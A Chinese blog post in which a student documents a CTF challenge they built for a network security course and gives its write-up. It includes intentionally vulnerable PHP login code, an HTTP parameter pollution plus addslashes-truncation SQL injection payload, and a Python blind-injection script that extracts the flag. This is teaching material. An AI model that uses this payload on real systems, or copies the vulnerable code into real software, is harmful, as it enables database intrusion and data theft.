出題(NO.4)

前言

網絡攻防基礎課要求出一個CTF的題目,上週就出完了,一直都沒寫。想想還是要把我出的每道題都記錄一下的。

參考

  1. https://github.com/hongriSec/PHP-Audit-Labs/tree/master/PHP-Audit-Labs題解/Day13-16/filesDay13

Day13的講題和留的題目,有兩個知識點
2. 在使用了addslashes()函數之後,又截取了子串,這很可能會導致截取之後的子串將轉義後的單引號\'給分開,這樣轉義的作用也就沒有了,可以被攻擊者用來繞過轉義。
3. HTTP參數污染。算是一個很小的知識點吧。hacker想法就是獨特,總是不按規定的路子走。

出題

題目包含兩個重要文件index.php login.php,這兩個文件中實現的代碼的設定是:用戶提交的參數在index.php中已經被過濾好了,傳遞到login.php的參數一定是合法的。在index.php對輸入參數檢查了是否含有sql的關鍵字,過濾了非常多,無法繞過,而login.php中只對取到的參數進行了轉義,並且對轉義之後的字符串進行了轉義。

問題在於index.php中取用戶參數是通過$_SERVER['REQUEST_URI']取的,login.php是通過$_GET取的,這兩者的差異造成HTTP參數污染。

//index.php
<?php
    $request_uri = explode("?", $_SERVER['REQUEST_URI']);
    if(isset($request_uri[1]))
    {
        $rewrite_url = explode("&", $request_uri[1]);
        foreach ($rewrite_url as $key => $value) {
            $_value = explode("=", $value);
            if (isset($_value[1])) {
                $temp = $_value[0];
                $$temp = $_value[1];
            }
        }
    }
    if(!isset($user_name) || !isset($pass_word) || !isset($request_uri[1]))
    {
        die("");
    }
    echo "<script>document.getElementsByClassName('btn_login')[0].click();</script>";
    if(!waf($user_name) || !waf($pass_word))
    {
        echo "<script>document.getElementById('nm_iframe').contentWindow.document.body.innerHTML='Be a cute boy~ Plz :-D';</script>";
        die("");
    }
    else if(waf($user_name) && waf($pass_word))
    {
        $result = file_get_contents("http://127.0.0.1/6954c9b2887c1f177fb8b8ef9a30dfdd.php?".$request_uri[1]."");
        echo "<script>document.getElementById('nm_iframe').contentWindow.document.body.innerHTML='" . $result . "';</script>";
    }
    function waf($string)
    {
        if(preg_match("/^information|union select|,|select|ascii|#|union|\*|%|flag|exp|benmark|sleep|or|as|if|limit|database|substr|mid|hex|char|version/i", $string, $matches))
            return 0;  
        return 1;    // means no hack
    }
?>
//login.php
<?php
    $username = addslashes($_GET['user_name']);
    $password = addslashes($_GET['pass_word']);

    if(strlen($username) > 10)
    {
        echo "Anything more than ten characters in the username is ignored.</br>";
        $username = substr($username, 0, 10);
    }

    $conn = mysqli_connect('mysql', 'class', 'xxx', 'class');
    if(!$conn)
    { 
        echo '</br><span style="color:#444">' . mysqli_connect_error() . '</span></br>';
    }

    $result = mysqli_query($conn, "select * from user where username='" . $username . "' and password='" . $password . "'");
    if($result == FALSE)
    { 
        mysqli_close($conn);
        die("Sql error!</br>");
    }
    /*
    $count = 0;
    while($row = mysqli_fetch_array($result, MYSQLI_NUM))
    {
        $count = $count + 1;
    }
    */
    mysqli_close($conn);
    echo "Error username or password!</br>";
?>

題目的代碼就是上面兩個。在實際部署題目時,將login.php改爲了一個用戶無法猜測的文件名(要不然直接訪問login.php,參數任何過濾,那就涼涼了)。提供了.index.php.swp.login.php.swp ,可以恢復源碼。

WriteUp

題目通過.index.php.swp.login.php.swp拿到源碼

拿到版本源碼不是最終版本。直接訪問login.php是沒有該文件的,最終版本里的login.php被命名爲一個不可猜測到的文件名。無法直接訪問到。

題目實現的邏輯是:輸入用戶名和密碼,後臺數據庫查詢。從源碼審計知道,服務器端代碼是沒有用戶名/密碼驗證通過的選項的。即,沒有正確的用戶名密碼。只能通過sql注入來從數據庫中拿到flag

index.php中關鍵代碼爲其中的waf函數,過濾掉了所有可能被用到的sql語句關鍵詞。另外還知道,經過過濾後的get參數被傳給另外一個文件login.php

login.php文件對傳入的get參數做了addslashes的處理,進一步防止sql注入。因爲默認傳遞過來的參數已經經過了過濾,所以沒有再做其他防護。而且規定用戶名長度不能超過10,超出部分會被截斷,直接忽略。

這也是爲什麼在實際部署時把login.php命名爲不能猜測到的文件名。

漏洞點

  1. 通過php的一個特性:php自身在解析請求的時候,如果參數名字中包含空格、.[這幾個字符,會將他們轉換成_。但是通過$_SERVER['REQUEST_URI']來得到query參數時候是不存在這樣的問題的。而index.php過濾是通過$_SERVER['REQUEST_URI']來過濾的,login.php是通過$_GET直接來獲取query參數的。
  2. 用戶名超出十個字符之後的部分會被截斷,但是判斷十個字符是在addslashes()函數之後,導致漏洞點。存在123456789'被轉義後變爲123456789\',截斷之後變爲123456789\的情況,\就可以被用來轉義sql語句中本來的單引號。

payload

?user_name=fda&pass_word=dfasf&user[name=123456789%27&pass[word=or%20(if((ascii(substr(database(),1))=114),1,exp(710)))%23

這樣,在index.php過濾時,過濾的是user_namepass_word字段,可以隨便輸入合法值繞過過濾。
login.php實際接收到的user_namepass_word值爲user[namepass[word的值,是沒有任何限制的。

實際執行的sql語句是:
select * from user where username='123456789\' and password='or (if((ascii(substr(database(),1))=114),1,exp(710)))#'

通過報錯注入,判斷不同的頁面返回,來猜測後臺語句執行結果,從而查詢到flag字段的值。(flagflag表的flag字段值)

exp如下:

import requests

url = "http://39.108.217.190:8082/index.php?user_name=1&pass_word=2&user[name=123456789'&pass[word=or(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),1,exp(710)))%%23"

def get_flag():
    result = ""
    for i in range(1, 50):
        flag = 0
        for j in range(32, 127):
            re = requests.get(url % (i, j))
            if(len(re.text) == 2461):  # 需要修改具體數字
                flag = 1
                result = result + chr(j)
                print(result)
                break
        if(flag == 0):
            break
    print(result)
if __name__ == "__main__":
    get_flag()

最後

簡單記錄。😶如果需要docker的話…

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章